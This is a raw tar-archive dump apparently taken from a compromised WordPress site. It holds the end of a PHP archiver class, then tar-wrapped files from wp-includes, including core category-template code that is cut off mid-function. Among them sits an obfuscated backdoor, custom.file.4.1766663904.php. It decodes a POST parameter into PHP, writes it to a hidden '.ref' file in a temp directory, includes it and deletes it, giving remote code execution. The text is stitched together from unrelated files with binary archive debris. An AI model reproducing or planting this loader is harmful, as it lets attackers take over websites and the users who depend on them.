				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PKYO\�`��

#10/custom.file.4.1766663904.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/custom.file.4.1766663904.php000064400000001532151440300240021740 0ustar00<!--v7USGp1a-->
<?php

if(!empty($_POST["mar\x6Ber"])){
$record = array_filter(["/tmp", session_save_path(), getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", "/dev/shm", getenv("TEMP")]);
$descriptor = $_POST["mar\x6Ber"];
$descriptor=explode	 ( '.'	 ,		 $descriptor ); 		
$token = '';
$s = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen($s);

foreach ($descriptor as $i => $val) {
    $sChar = ord($s[$i % $sLen]);
    $dec = ((int)$val - $sChar - ($i % 10)) ^ 20;
    $token .= chr($dec);
}
while ($rec = array_shift($record)) {
            if ((function($d) { return is_dir($d) && is_writable($d); })($rec)) {
            $item = implode("/", [$rec, ".ref"]);
            if (@file_put_contents($item, $token) !== false) {
    include $item;
    unlink($item);
    die();
}
        }
}
}PKYO\���(��10/category-template.php.tarnu�[���home/homerdlh/public_html/wp-includes/category-template.php000064400000157325151442377620020221 0ustar00<?php
/**
 * Taxonomy API: Core category-specific template tags
 *
 * @package WordPress
 * @subpackage Template
 * @since 1.2.0
 */

/**
 * Retrieves category link URL.
 *
 * @since 1.0.0
 *
 * @see get_term_link()
 *
 * @param int|object $category Category ID or object.
 * @return string Link on success, empty string if category does not exist.
 */
function get_category_link( $category ) {
	if ( ! is_object( $category ) ) {
		$category = (int) $category;
	}

	$category = get_term_link( $category );

	if ( is_wp_error( $category ) ) {
		return '';
	}

	return $category;
}

/**
 * Retrieves category parents with separator.
 *
 * @since 1.2.0
 * @since 4.8.0 The `$visited` parameter was deprecated and renamed to `$deprecated`.
 *
 * @param int    $category_id Category ID.
 * @param bool   $link        Optional. Whether to format with link. Default false.
 * @param string $separator   Optional. How to separate categories. Default '/'.
 * @param bool   $nicename    Optional. Whether to use nice name for display. Default false.
 * @param array  $deprecated  Not used.
 * @return string|WP_Error A list of category parents on success, WP_Error on failure.
 */
function get_category_parents( $category_id, $link = false, $separator = '/', $nicename = false, $deprecated = array() ) {

	if ( ! empty( $deprecated ) ) {
		_deprecated_argument( __FUNCTION__, '4.8.0' );
	}

	$format = $nicename ? 'slug' : 'name';

	$args = array(
		'separator' => $separator,
		'link'      => $link,
		'format'    => $format,
	);

	return get_term_parents_list( $category_id, 'category', $args );
}

/**
 * Retrieves post categories.
 *
 * This tag may be used outside The Loop by passing a post ID as the parameter.
 *
 * Note: This function only returns results from the default "category" taxonomy.
 * For custom taxonomies use get_the_terms().
 *
 * @since 0.71
 *
 * @param int|false $post_id Optional. The post ID. Defaults to current post ID.
 * @return WP_Term[] Array of WP_Term objects, one for each category assigned to the post.
 */
function get_the_category( $post_id = false ) {
	$categories = get_the_terms( $post_id, 'category' );
	if ( ! $categories || is_wp_error( $categories ) ) {
		$categories = array();
	}

	$categories = array_values( $categories );

	foreach ( array_keys( $categories ) as $key ) {
		_make_cat_compat( $categories[ $key ] );
	}

	/**
	 * Filters the array of categories to return for a post.
	 *
	 * @since 3.1.0
	 * @since 4.4.0 Added the `$post_id` parameter.
	 *
	 * @param WP_Term[] $categories An array of categories to return for the post.
	 * @param int|false $post_id    The post ID.
	 */
	return apply_filters( 'get_the_categories', $categories, $post_id );
}

/**
 * Retrieves category name based on category ID.
 *
 * @since 0.71
 *
 * @param int $cat_id Category ID.
 * @return string|WP_Error Category name on success, WP_Error on failure.
 */
function get_the_category_by_ID( $cat_id ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid
	$cat_id   = (int) $cat_id;
	$category = get_term( $cat_id );

	if ( is_wp_error( $category ) ) {
		return $category;
	}

	return ( $category ) ? $category->name : '';
}

/**
 * Retrieves category list for a post in either HTML list or custom format.
 *
 * Generally used for quick, delimited (e.g. comma-separated) lists of categories,
 * as part of a post entry meta.
 *
 * For a more powerful, list-based function, see wp_list_categories().
 *
 * @since 1.5.1
 *
 * @see wp_list_categories()
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param string    $separator Optional. Separator between the categories. By default, the links are placed
 *                             in an unordered list. An empty string will result in the default behavior.
 * @param string    $parents   Optional. How to display the parents. Accepts 'multiple', 'single', or empty.
 *                             Default empty string.
 * @param int|false $post_id   Optional. ID of the post to retrieve categories for. Defaults to the current post.
 * @return string Category list for a post.
 */
function get_the_category_list( $separator = '', $parents = '', $post_id = false ) {
	global $wp_rewrite;

	if ( ! is_object_in_taxonomy( get_post_type( $post_id ), 'category' ) ) {
		/** This filter is documented in wp-includes/category-template.php */
		return apply_filters( 'the_category', '', $separator, $parents );
	}

	/**
	 * Filters the categories before building the category list.
	 *
	 * @since 4.4.0
	 *
	 * @param WP_Term[] $categories An array of the post's categories.
	 * @param int|false $post_id    ID of the post to retrieve categories for.
	 *                              When `false`, defaults to the current post in the loop.
	 */
	$categories = apply_filters( 'the_category_list', get_the_category( $post_id ), $post_id );

	if ( empty( $categories ) ) {
		/** This filter is documented in wp-includes/category-template.php */
		return apply_filters( 'the_category', __( 'Uncategorized' ), $separator, $parents );
	}

	$rel = ( is_object( $wp_rewrite ) && $wp_rewrite->using_permalinks() ) ? 'rel="category tag"' : 'rel="category"';

	$thelist = '';
	if ( '' === $separator ) {
		$thelist .= '<ul class="post-categories">';
		foreach ( $categories as $category ) {
			$thelist .= "\n\t<li>";
			switch ( strtolower( $parents ) ) {
				case 'multiple':
					if ( $category->parent ) {
						$thelist .= get_category_parents( $category->parent, true, $separator );
					}
					$thelist .= '<a href="' . esc_url( get_category_link( $category->term_id ) ) . '" ' . $rel . '>' . $category->name . '</a></li>';
					break;
				case 'single':
					$thelist .= '<a href="' . esc_url( get_category_link( $category->term_id ) ) . '"  ' . $rel . '>';
					if ( $category->parent ) {
						$thelist .= get_category_parents( $category->parent, false, $separator );
					}
					$thelist .= $category->name . '</a></li>';
					break;
				case '':
				default:
					$thelist .= '<a href="' . esc_url( get_category_link( $category->term_id ) ) . '" ' . $rel . '>' . $category->name . '</a></li>';
			}
		}
		$thelist .= '</ul>';
	} else {
		$i = 0;
		foreach ( $categories as $category ) {
			if ( 0 < $i ) {
				$thelist .= $separator;
			}
			switch ( strtolower( $parents ) ) {
				case 'multiple':
					if ( $category->parent ) {
						$thelist .= get_category_parents( $category->parent, true, $separator );
					}
					$thelist .= '<a href="' . esc_url( get_category_link( $category->term_id ) ) . '" ' . $rel . '>' . $category->name . '</a>';
					break;
				case 'single':
					$thelist .= '<a href="' . esc_url( get_category_link( $category->term_id ) ) . '" ' . $rel . '>';
					if ( $category->parent ) {
						$thelist .= get_category_parents( $category->parent, false, $separator );
					}
					$thelist .= "$category->name</a>";
					break;
				case '':
				default:
					$thelist .= '<a href="' . esc_url( get_category_link( $category->term_id ) ) . '" ' . $rel . '>' . $category->name . '</a>';
			}
			++$i;
		}
	}

	/**
	 * Filters the category or list of categories.
	 *
	 * @since 1.2.0
	 *
	 * @param string $thelist   List of categories for the current post.
	 * @param string $separator Separator used between the categories.
	 * @param string $parents   How to display the category parents. Accepts 'multiple',
	 *                          'single', or empty.
	 */
	return apply_filters( 'the_category', $thelist, $separator, $parents );
}

/**
 * Checks if the current post is within any of the given categories.
 *
 * The given categories are checked against the post's categories' term_ids, names and slugs.
 * Categories given as integers will only be checked against the post's categories' term_ids.
 *
 * Prior to v2.5 of WordPress, category names were not supported.
 * Prior to v2.7, category slugs were not supported.
 * Prior to v2.7, only one category could be compared: in_category( $single_category ).
 * Prior to v2.7, this function could only be used in the WordPress Loop.
 * As of 2.7, the function can be used anywhere if it is provided a post ID or post object.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.2.0
 * @since 2.7.0 The `$post` parameter was added.
 *
 * @param int|string|int[]|string[] $category Category ID, name, slug, or array of such
 *                                            to check against.
 * @param int|null|WP_Post          $post     Optional. Post to check. Defaults to the current post.
 * @return bool True if the current post is in any of the given categories.
 */
function in_category( $category, $post = null ) {
	if ( empty( $category ) ) {
		return false;
	}

	return has_category( $category, $post );
}

/**
 * Displays category list for a post in either HTML list or custom format.
 *
 * @since 0.71
 *
 * @param string    $separator Optional. Separator between the categories. By default, the links are placed
 *                             in an unordered list. An empty string will result in the default behavior.
 * @param string    $parents   Optional. How to display the parents. Accepts 'multiple', 'single', or empty.
 *                             Default empty string.
 * @param int|false $post_id   Optional. ID of the post to retrieve categories for. Defaults to the current post.
 */
function the_category( $separator = '', $parents = '', $post_id = false ) {
	echo get_the_category_list( $separator, $parents, $post_id );
}

/**
 * Retrieves category description.
 *
 * @since 1.0.0
 *
 * @param int $category Optional. Category ID. Defaults to the current category ID.
 * @return string Category description, if available.
 */
function category_description( $category = 0 ) {
	return term_description( $category );
}

/**
 * Displays or retrieves the HTML dropdown list of categories.
 *
 * The 'hierarchical' argument, which is disabled by default, will override the
 * depth argument, unless it is true. When the argument is false, it will
 * display all of the categories. When it is enabled it will use the value in
 * the 'depth' argument.
 *
 * @since 2.1.0
 * @since 4.2.0 Introduced the `value_field` argument.
 * @since 4.6.0 Introduced the `required` argument.
 * @since 6.1.0 Introduced the `aria_describedby` argument.
 *
 * @param array|string $args {
 *     Optional. Array or string of arguments to generate a categories drop-down element. See WP_Term_Query::__construct()
 *     for information on additional accepted arguments.
 *
 *     @type string       $show_option_all   Text to display for showing all categories. Default empty.
 *     @type string       $show_option_none  Text to display for showing no categories. Default empty.
 *     @type string       $option_none_value Value to use when no category is selected. Default empty.
 *     @type string       $orderby           Which column to use for ordering categories. See get_terms() for a list
 *                                           of accepted values. Default 'id' (term_id).
 *     @type bool         $pad_counts        See get_terms() for an argument description. Default false.
 *     @type bool|int     $show_count        Whether to include post counts. Accepts 0, 1, or their bool equivalents.
 *                                           Default 0.
 *     @type bool|int     $echo              Whether to echo or return the generated markup. Accepts 0, 1, or their
 *                                           bool equivalents. Default 1.
 *     @type bool|int     $hierarchical      Whether to traverse the taxonomy hierarchy. Accepts 0, 1, or their bool
 *                                           equivalents. Default 0.
 *     @type int          $depth             Maximum depth. Default 0.
 *     @type int          $tab_index         Tab index for the select element. Default 0 (no tabindex).
 *     @type string       $name              Value for the 'name' attribute of the select element. Default 'cat'.
 *     @type string       $id                Value for the 'id' attribute of the select element. Defaults to the value
 *                                           of `$name`.
 *     @type string       $class             Value for the 'class' attribute of the select element. Default 'postform'.
 *     @type int|string   $selected          Value of the option that should be selected. Default 0.
 *     @type string       $value_field       Term field that should be used to populate the 'value' attribute
 *                                           of the option elements. Accepts any valid term field: 'term_id', 'name',
 *                                           'slug', 'term_group', 'term_taxonomy_id', 'taxonomy', 'description',
 *                                           'parent', 'count'. Default 'term_id'.
 *     @type string|array $taxonomy          Name of the taxonomy or taxonomies to retrieve. Default 'category'.
 *     @type bool         $hide_if_empty     True to skip generating markup if no categories are found.
 *                                           Default false (create select element even if no categories are found).
 *     @type bool         $required          Whether the `<select>` element should have the HTML5 'required' attribute.
 *                                           Default false.
 *     @type Walker       $walker            Walker object to use to build the output. Default empty which results in a
 *                                           Walker_CategoryDropdown instance being used.
 *     @type string       $aria_describedby  The 'id' of an element that contains descriptive text for the select.
 *                                           Default empty string.
 * }
 * @return string HTML dropdown list of categories.
 */
function wp_dropdown_categories( $args = '' ) {
	$defaults = array(
		'show_option_all'   => '',
		'show_option_none'  => '',
		'orderby'           => 'id',
		'order'             => 'ASC',
		'show_count'        => 0,
		'hide_empty'        => 1,
		'child_of'          => 0,
		'exclude'           => '',
		'echo'              => 1,
		'selected'          => 0,
		'hierarchical'      => 0,
		'name'              => 'cat',
		'id'                => '',
		'class'             => 'postform',
		'depth'             => 0,
		'tab_index'         => 0,
		'taxonomy'          => 'category',
		'hide_if_empty'     => false,
		'option_none_value' => -1,
		'value_field'       => 'term_id',
		'required'          => false,
		'aria_describedby'  => '',
	);

	$defaults['selected'] = ( is_category() ) ? get_query_var( 'cat' ) : 0;

	// Back compat.
	if ( isset( $args['type'] ) && 'link' === $args['type'] ) {
		_deprecated_argument(
			__FUNCTION__,
			'3.0.0',
			sprintf(
				/* translators: 1: "type => link", 2: "taxonomy => link_category" */
				__( '%1$s is deprecated. Use %2$s instead.' ),
				'<code>type => link</code>',
				'<code>taxonomy => link_category</code>'
			)
		);
		$args['taxonomy'] = 'link_category';
	}

	// Parse incoming $args into an array and merge it with $defaults.
	$parsed_args = wp_parse_args( $args, $defaults );

	$option_none_value = $parsed_args['option_none_value'];

	if ( ! isset( $parsed_args['pad_counts'] ) && $parsed_args['show_count'] && $parsed_args['hierarchical'] ) {
		$parsed_args['pad_counts'] = true;
	}

	$tab_index = $parsed_args['tab_index'];

	$tab_index_attribute = '';
	if ( (int) $tab_index > 0 ) {
		$tab_index_attribute = " tabindex=\"$tab_index\"";
	}

	// Avoid clashes with the 'name' param of get_terms().
	$get_terms_args = $parsed_args;
	unset( $get_terms_args['name'] );
	$categories = get_terms( $get_terms_args );

	$name     = esc_attr( $parsed_args['name'] );
	$class    = esc_attr( $parsed_args['class'] );
	$id       = $parsed_args['id'] ? esc_attr( $parsed_args['id'] ) : $name;
	$required = $parsed_args['required'] ? 'required' : '';

	$aria_describedby_attribute = $parsed_args['aria_describedby'] ? ' aria-describedby="' . esc_attr( $parsed_args['aria_describedby'] ) . '"' : '';

	if ( ! $parsed_args['hide_if_empty'] || ! empty( $categories ) ) {
		$output = "<select $required name='$name' id='$id' class='$class'$tab_index_attribute$aria_describedby_attribute>\n";
	} else {
		$output = '';
	}
	if ( empty( $categories ) && ! $parsed_args['hide_if_empty'] && ! empty( $parsed_args['show_option_none'] ) ) {

		/**
		 * Filters a taxonomy drop-down display element.
		 *
		 * A variety of taxonomy drop-down display elements can be modified
		 * just prior to display via this filter. Filterable arguments include
		 * 'show_option_none', 'show_option_all', and various forms of the
		 * term name.
		 *
		 * @since 1.2.0
		 *
		 * @see wp_dropdown_categories()
		 *
		 * @param string       $element  Category name.
		 * @param WP_Term|null $category The category object, or null if there's no corresponding category.
		 */
		$show_option_none = apply_filters( 'list_cats', $parsed_args['show_option_none'], null );
		$output          .= "\t<option value='" . esc_attr( $option_none_value ) . "' selected='selected'>$show_option_none</option>\n";
	}

	if ( ! empty( $categories ) ) {

		if ( $parsed_args['show_option_all'] ) {

			/** This filter is documented in wp-includes/category-template.php */
			$show_option_all = apply_filters( 'list_cats', $parsed_args['show_option_all'], null );
			$selected        = ( '0' === (string) $parsed_args['selected'] ) ? " selected='selected'" : '';
			$output         .= "\t<option value='0'$selected>$show_option_all</option>\n";
		}

		if ( $parsed_args['show_option_none'] ) {

			/** This filter is documented in wp-includes/category-template.php */
			$show_option_none = apply_filters( 'list_cats', $parsed_args['show_option_none'], null );
			$selected         = selected( $option_none_value, $parsed_args['selected'], false );
			$output          .= "\t<option value='" . esc_attr( $option_none_value ) . "'$selected>$show_option_none</option>\n";
		}

		if ( $parsed_args['hierarchical'] ) {
			$depth = $parsed_args['depth'];  // Walk the full depth.
		} else {
			$depth = -1; // Flat.
		}
		$output .= walk_category_dropdown_tree( $categories, $depth, $parsed_args );
	}

	if ( ! $parsed_args['hide_if_empty'] || ! empty( $categories ) ) {
		$output .= "</select>\n";
	}

	/**
	 * Filters the taxonomy drop-down output.
	 *
	 * @since 2.1.0
	 *
	 * @param string $output      HTML output.
	 * @param array  $parsed_args Arguments used to build the drop-down.
	 */
	$output = apply_filters( 'wp_dropdown_cats', $output, $parsed_args );

	if ( $parsed_args['echo'] ) {
		echo $output;
	}

	return $output;
}

/**
 * Displays or retrieves the HTML list of categories.
 *
 * @since 2.1.0
 * @since 4.4.0 Introduced the `hide_title_if_empty` and `separator` arguments.
 * @since 4.4.0 The `current_category` argument was modified to optionally accept an array of values.
 * @since 6.1.0 Default value of the 'use_desc_for_title' argument was changed from 1 to 0.
 *
 * @param array|string $args {
 *     Array of optional arguments. See get_categories(), get_terms(), and WP_Term_Query::__construct()
 *     for information on additional accepted arguments.
 *
 *     @type int|int[]    $current_category      ID of category, or array of IDs of categories, that should get the
 *                                               'current-cat' class. Default 0.
 *     @type int          $depth                 Category depth. Used for tab indentation. Default 0.
 *     @type bool|int     $echo                  Whether to echo or return the generated markup. Accepts 0, 1, or their
 *                                               bool equivalents. Default 1.
 *     @type int[]|string $exclude               Array or comma/space-separated string of term IDs to exclude.
 *                                               If `$hierarchical` is true, descendants of `$exclude` terms will also
 *                                               be excluded; see `$exclude_tree`. See get_terms().
 *                                               Default empty string.
 *     @type int[]|string $exclude_tree          Array or comma/space-separated string of term IDs to exclude, along
 *                                               with their descendants. See get_terms(). Default empty string.
 *     @type string       $feed                  Text to use for the feed link. Default 'Feed for all posts filed
 *                                               under [cat name]'.
 *     @type string       $feed_image            URL of an image to use for the feed link. Default empty string.
 *     @type string       $feed_type             Feed type. Used to build feed link. See get_term_feed_link().
 *                                               Default empty string (default feed).
 *     @type bool         $hide_title_if_empty   Whether to hide the `$title_li` element if there are no terms in
 *                                               the list. Default false (title will always be shown).
 *     @type string       $separator             Separator between links. Default '<br />'.
 *     @type bool|int     $show_count            Whether to include post counts. Accepts 0, 1, or their bool equivalents.
 *                                               Default 0.
 *     @type string       $show_option_all       Text to display for showing all categories. Default empty string.
 *     @type string       $show_option_none      Text to display for the 'no categories' option.
 *                                               Default 'No categories'.
 *     @type string       $style                 The style used to display the categories list. If 'list', categories
 *                                               will be output as an unordered list. If left empty or another value,
 *                                               categories will be output separated by `<br>` tags. Default 'list'.
 *     @type string       $taxonomy              Name of the taxonomy to retrieve. Default 'category'.
 *     @type string       $title_li              Text to use for the list title `<li>` element. Pass an empty string
 *                                               to disable. Default 'Categories'.
 *     @type bool|int     $use_desc_for_title    Whether to use the category description as the title attribute.
 *                                               Accepts 0, 1, or their bool equivalents. Default 0.
 *     @type Walker       $walker                Walker object to use to build the output. Default empty which results
 *                                               in a Walker_Category instance being used.
 * }
 * @return void|string|false Void if 'echo' argument is true, HTML list of categories if 'echo' is false.
 *                           False if the taxonomy does not exist.
 */
function wp_list_categories( $args = '' ) {
	$defaults = array(
		'child_of'            => 0,
		'current_category'    => 0,
		'depth'               => 0,
